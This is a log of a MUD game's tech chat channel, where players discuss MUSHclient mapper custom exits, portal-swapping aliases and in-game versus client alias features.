T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: he didn't until recently
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Seems like a pretty large oversight, then
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: at least it's there now for the users.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: it's a pretty normal oversight...since you can't drag it to where you can't get to it, why would you think it would ever be there?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Differing screen sizes on a portable client.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: right, but someone who doesn't use differing screen sizes or multiple computers from a usb drive won't necessarily go there in the planning process
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: For lazy people: here is the Knossos sw -> http://pastebin.com/Lh9GMd8f
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger tsks BobTheGreat.  You feel sorry for him.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: make them do their own work :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: Nah, I'm lazy too so I share what I got :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: thank you bob!!! I shall make a manor mob in your honor. :D
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: heh, but you didn't format it for a cexit
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: I know how they feel ;)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: Nah, because I haven't done that yet Abe :)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: nor open the door
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: I'm a shadow - no opening doors needed (right, probably should change that)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: always include opening the door
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: can shadow toggle nopass, or is that wish-only?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: You do not have the pass door wish.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Never tried tbh, Abe
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: there's that answer :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: it's a handy toggle for "distributable" speedwalks :-)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: It actually should be allowed, I can land/fly but no wish
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: i agree, bug post it
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: it is a bit painful to change class later from shadow to something else
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: idea, not bug
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: err, yeah idea
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Mokg Tech: since when can shades go solid on demand?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: they can't, that's what we're discussing
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Mokg Tech: doesnt fit rp wise, very important to this game
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: I asked if they could, Bob verified they cannot...passdoor wish users can go solid on demand
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: You smirk at his saying.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Mokg Tech: its a wish, not being an actual shade
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Shades can hold weapons and open doors, why shouldn't they be able to walk INTO a door if they chose?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: BobTheGreat nods at Big Meaty Cheezburger.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Mokg Tech: they can, certain doors...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: But we can't only hold CERTAIN weapons
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: But they can 'open' any door, therefor they can obviously interact with it.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: well, shades can bump into certain doors
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: ok, so at the entrance to knossos, i just treat the whole command line like a single cexit?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: the ones that should be fixed. unlocked nopass doors
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: make sure to double your ;s
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: Yes, but set cexit_wait to something like 10.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Zade Tech: what if Shades get the passdoor-wish so they may go solid
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: I'd make 2 cexits...one with all but the second give, and the second one just give
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: BobTheGreat is agreeing with that Zade person again...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Mokg Tech: dont get why you'd open passable doors anyways on your mapper
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger crosses his arms and nods sagely to you.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: That's what I suggested in the first place
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: double my s's?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: No, your semicolons
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: i have also never use a mapper wait before
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: ie: ;; instead of ;
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: mokg: because you may not always be a shade, and to make it distributable/shareable
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: My whole mapper DB assumes passdoor :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: my speedwalk file is the same for all of my characters...not all have passdoor
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: That's not a good thing to do if you ever plan to share, bob
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: And if you change race, you're kinda hosed.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: Passdoor wish!
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: at least until you get the wish
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: passdoor wish. boom! :D
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: or the spell
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: what does double semi's do cheez?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: Or be a nice guy and make cexits doors
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: ronin: it's necessary for cexit definitions
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: They prevent MUSH from parsing it as separate commands
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: you have to double them or mush will think you're sending multiple commands instead of one cexit
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: oh, so it wont become a stop motion cartoon? lol
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: if you "mapper cexit command1 ; command2", MUSH would "mapper cexit command1"....then it would execute command2
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: whereas cexit open n;;n would be one single cexit, versus what abe just showed.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: wow, thank you! I'm sure that is why I have been having so much trouble cexiting certain areas. :P :D
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: that's why everyone using MUSHclient should be constantly on Fiendish's site, where all the plugins are described, and how to do various things is explained...and should read "mapper help" stuff...doubling your ;s is in "mapper help exits", under the "mapper cexit" part...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: looks like you used shift for one of your ;s ;-)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Hate that crap, so hard to catch too :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Luckily he knows his mistake is right before "run nes"
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Ronin: Remove the 'give pass guard', use that as a second cexit in the next room instead.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: actually, i put "mapper cexit_wait 10" before the rest of the other commands. not the right way to do it, lol
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: or add a wait
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: i just asked abelinc that via tell. why the wait or 2nd cexit?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: 2 cexits allow you to actually get to either room
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Nods
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: But why would you want to be in the 2nd guard's room? Are there any q'able or cp'able movs there?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: using mapper goto <a room past both guards> will work both ways
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: oh, in the extremely rare instance I might want to wait in that middle room
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: say you want to help someone who's stuck there...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: in all honesty, that is probably not important to me.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Nods, you'll never need to kill anything in that room, but it's ignorant to assume you'll never want in there period
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: let's put it this way...what reason would you have for wholly-preventing the mapper from knowing how to get to the second room?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: i would just goe there manually to do that probably
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: Because it takes a lot more keystrokes to type 'mapper cexit xx' again :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: one has possible benefits, the other has none
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: ive only been using mapper for 2 weeks tops. 
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: doesn't matter how long you've been using it...do you want to do it RIGHT?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: And we're explaining to you the most flexible, efficient way to do it. There's no performance loss by changing it to a second exit
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: yeah yeah yeah, you are right. :P I know you are.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Well, there amy be a performance change, but if there is it's negligable.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: nope, no performance change
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: nice mis :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Ulrich Tech: how do I make my pc stop hibernating?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Legendary Gruagach Tech: desktop properties
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Grissom Tech: wai till summer
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Grissom Tech: wait*
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: You groan at the sight of Grissom.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Grissom Tech: i couldnt resist
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: you can right-click anywhere on the desktop without an icon, to go to properties...then screen saver tab, power
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Ulrich Tech: got it thanks, couldnt remember the power management part
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Flach Tech: Damn Mushclient, having a hard time configuring the windows to display properly after copying over to my laptop
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: type resetaard
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: resetaard
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: That'll move them all back into view for your screen size.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Flach Tech: sweet
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Flach Tech: that worked
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Flach Tech: How do I close some of the individual windows that I had open.  Right clicking gives me no option for it.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Flach Tech: I'm such a MUSHclient noob
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: can just send to back in the right-click option, or many of them have a "hide" command
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: like mapper hide/mapper show
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Flach Tech: I like that mapper, but want to get rid of the other crappy one.  Also dont need another of the windows, but dont seem to have a send to background option
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: Anyway to auto-maximize everything so that all the windows fill the entire screen? I have a lot of grey space at the bottom?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Vakieh Tech: You will find several situations where the gmcp mapper breaks down for assistance, but the ascii mapper still helps
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: if you don't have a send to back option, then it's not a plugin that shipped with aardmush, so the command would be dependent on what the author programmed
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Flach Tech: Yeah, not a big fan of the ascii map
T3/r7/2013-01-06.txt.gz:{chan ch=tech}CeriQ Tech: I liked the days when we had no map. :)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: it works in mazes, the main mapper doesn't...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}CeriQ Tech: I could still run to the lowest level of hell blind from memory, and I hadn't been there since 2000 or so. :)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: correction, gmcp doesn't work in mazes.  It's very much possible to get a mapper to work in mazes, though.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: "a" mapper is not the mapper
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: we weren't discussing "a" mapper
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: and gmcp does work in mazes, it just doesn't display exits
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: doesn't work usefully, then.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: It displays exits, just not the room id associated with those exits.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Geez, get your facts straight!
T3/r7/2013-01-06.txt.gz:{chan ch=tech}SuperJayT Tech: With Cmud, If i create an alias via command line.  IE #alias test {testcommand}  How do i nest it in a folder?  
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: you'd probably have to go to organize and drag it from root or similar
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: all the commands that create stuff include a parameter to specify the location to create it in.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: going from memory here, but I think it's #alias name(optional parameters) {code} "class"
T3/r7/2013-01-06.txt.gz:{chan ch=tech}SuperJayT Tech: that worked, thank you!
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: is there an plug in that captures the names of the mobs of the room you are currently in and displays it in a window for you?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: sort of.  I think someone's got an autoconsider plugin that effectively does the same as what you want.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: any idea what the name is?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: mush_google_for_autoconsider.xml, I think.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: thanks man
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: bast has one i think... though it may be a but buggy
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Bast Tech: don't have anything that does what he wants
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: is there a way to "point" the mapper to choose one path over another?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: atm, it is going to killing fields via the flying citidel portal, which is twice as many steps as the amulet.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: oh! I answered my own question. :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: i dont have the amulet set yet. :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: you can have it learn the portals, and if you want to take the overland route I believe you can set exit or room costs.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: i havent figured out how I want to handle the aard amulet yet
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: what do you mean?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: i dont have amulet aliased to anything. im simply always wearing it.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: im not sure how to anything will change like, when im using a tiger of kai at sh
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: is it just as simple as aliasing it to amulet and that is it?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: cause right now i just type "en" and dont think about it
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: somehow the mapper can learn your portals, so I think it's technically even easier than that.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: aliasing would be for handling arbitrary extra steps like pulling portals out of bags.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: right.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Zetkax Tech: my mapper handles portals like this: map createportal <to room ID> "<command>"
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: what im wondering is, if i want to wear tiger of kai as my standby, what is the best way to alias the amulet so it is still easy to work with?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: The way I've got mine setup ronin - is I have an alias that takes a vnum as an argument. So Portal <vnum>. What it does is gets the vnum portal from my bag, equips it, enters it, removes it, reequips my tiger of kai, and puts the portal back in the bag
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: surely someone else has had to work this out before
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cast Abradix Tech: my alias is hotel, and it sends "hold amulet;enter;hold gladiator;hold kai"
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: then for the mapper - I juse use mapper portap portal <vnum>
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: yeah hotel alias ftw
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: so the mapper only calls the alias with the vnum of the desired portal
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: makes it easy to change
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Mokg Tech: I just use a variable that I change a few times a mort
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: i think that means im going to have to stop typing just "en" lol
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Mokg Tech: #alias {hot} {hold 'aard amulet';enter;am}
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Mokg Tech: #alias {am} {hold @portal}
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Mokg Tech: and then another alias to set the portal variable
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: Variable would be a nice addition - but i started collecting portals after SHing and not morted since.. so... works =p
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: won't the mapper automatically use the right portal when it figures out which way to go?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: yeah that's harder than ingame alias
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Mokg Tech: if youre using the mapper you prob are using mush
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: Hans... you need to enter the command to equip/enter the portal in to the mapper. it doesn't do it itself
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: i use mush... ingame alias is just easier
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: But much less powerful.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: then fiddling around changing mush aliases or the mapper
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: thing is hans, when i want to pick up heal pots 2 east of recall, i just type "en, e, e." im trying to come up with a way that those kinds of things dont become inconvient
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: daloran i use both
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: so that comment was false
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: No it's not =p the in game aliases are incredibly limited.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: not when you know how to use them
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: so basically you're using a plugin-internal alias (the part of the mapper that arrives at "I have to use a portal here") to call another alias (the external alias you use to get/wear/enter portal)?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: right
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: Nod hans
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: glad someone has a brain
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: Santher... It's not a matter of knowing how to use them, they are much more limited then mush aliases =p it's not even a contest
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: if you want to think of them in that limited way, sure
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Mokg Tech: all I have to do is type portal glad, or portal kai to switch out which portal gets automatically reheld. I could even trigger it for when I leveled up to do it automatically but its so easy already there's no point
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: Santher... Are you trolling? Because honestly, there is nothing an in game alias can do that mush can't just as easily.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Bast Tech: I have an alias port * that is "get %1 portalbag;wear %1;enter;wear muletid;put %1 portalbag", which wears the portal from the argument and then reequips my amulet when I am done, then a simple portal command for the mapper is 'mapper portal port "portalkeyword"'
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: ah, see that is the kind of solution i am looking for mokg
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: no i was suggesting a tip i learned awhile ago...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: that works good
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: changing an ingame alias is easier than fiddling with the mapper portal list
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Bertilak Tech: all I have to do is type "runto <areaname>" and my client and the mapper know if a portal I can equip is the fastest way to get there and automatically gets it out of my bag, wears it, enters, then puts back on my aard amulet and finishes running to the area
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: You don't have to touch the portal list, santher
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: single alias that the mapper calls. you just add each portal to the mapper by vnum.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: so now i get the long winded explaintion while i could have changed my ingame alias 20 times?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: So now if I change something - I change one alias, instead of changing 20 in game aliases.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Bertilak Tech: why would you be changing any aliases ever?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: maybe you have to
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: Bertilak.. only if you wanted to change your held portal for stats. You could use a variable as well, but I havent' had a need to change mine.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: aard aliases would be for multi-device mobility when you wouldn't necessarily have the power of mush backing you up.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: that too
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: hehe
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: Yes, but my comment was that mush aliases were more powerful, not more accessible.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: i wasn't agruing that
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: Actually you did =p
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: i was talking about a specific case
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: I said that they were incredibly limited, and that mush was much more powerful. And you said "[06 Jan 18:48:28] Santher Tech: not when you know how to use them"
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: where an ingame alias can be easier
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: right
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: which you obviously took the wrong way
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: Rule 1 of a good debate: At least know what point is being argued. :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: Theres no situation where knowing how to use them makes them less limited, or more powerful.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: Regardless. The single alias in the mapper has worked for me, Mokg, and probably many others. If you disagree, thats certainly your option to do so.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: ftr, I use ingame aliases for ltag, since they are way easier to deal with. :D
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: mokg listed 3
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: perhaps some reading glasses?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: the ingame runto alias works quite well for a lot of players, as well.  Even with the mapper and improved movement logic.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Mokg Tech: I listed two. only one that you actually interact with
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: No Santher, I read what he said just fine.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: oh it was 2
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: i said 1
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: doesn't mean that the ingame runto is better or just as good.  It just means the person doesn't take advantage of the tools he's already working with.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: ingame aliases are nicer for simple commands which may or may not have an argument...I use them for my spells
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at you in agreement. 
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: alias door c door, for example.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: Never said they weren't simpler, either =p
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Mokg Tech: me too, except this keeps happening: You have reached the max number of 60 aliases allowed.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: so you had a point?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: alias grb group create [Cast'rate] (BA'ALLESS)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Another one of mine.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: Which you seem to have missed.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: so each damtype or type of spell has an ingame alias..."li" for electric, "im" for fire, etc..."li" or "li foo" in one alias without making it a regex with logic behind it
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: Well, lunch time for me anyway. It's been fun. o/
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: see ya
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: and then I can use an in-client tool to /nuke foo, which performs a couple attacks using in-game aliases :-)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: thank you abe for explaining the uses for ingame aliases with mush :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Bertilak Tech: Abe I'm not sure I get why you would do that by using in-game aliases?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: or any other client
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: bertilak: because the in-game alias is MUCH more flexible without going to trouble
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: He can modify in-game aliases to whatever he likes.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: the in-game alias doesn't need to know if arguments are coming when it's defined
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: aard only cares that "the first word of a command is this"...MUSH wants a pattern to match the entire command
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: nods i use mush and ingame for the same command...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: not true
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: (I don't use MUSH, and my client's alias mechanism is actually closer to the way the game's work)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can construct aliases in mushclient that don't care if they have parameters
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: it is quite true...there are just multiple ways to accomplish said pattern
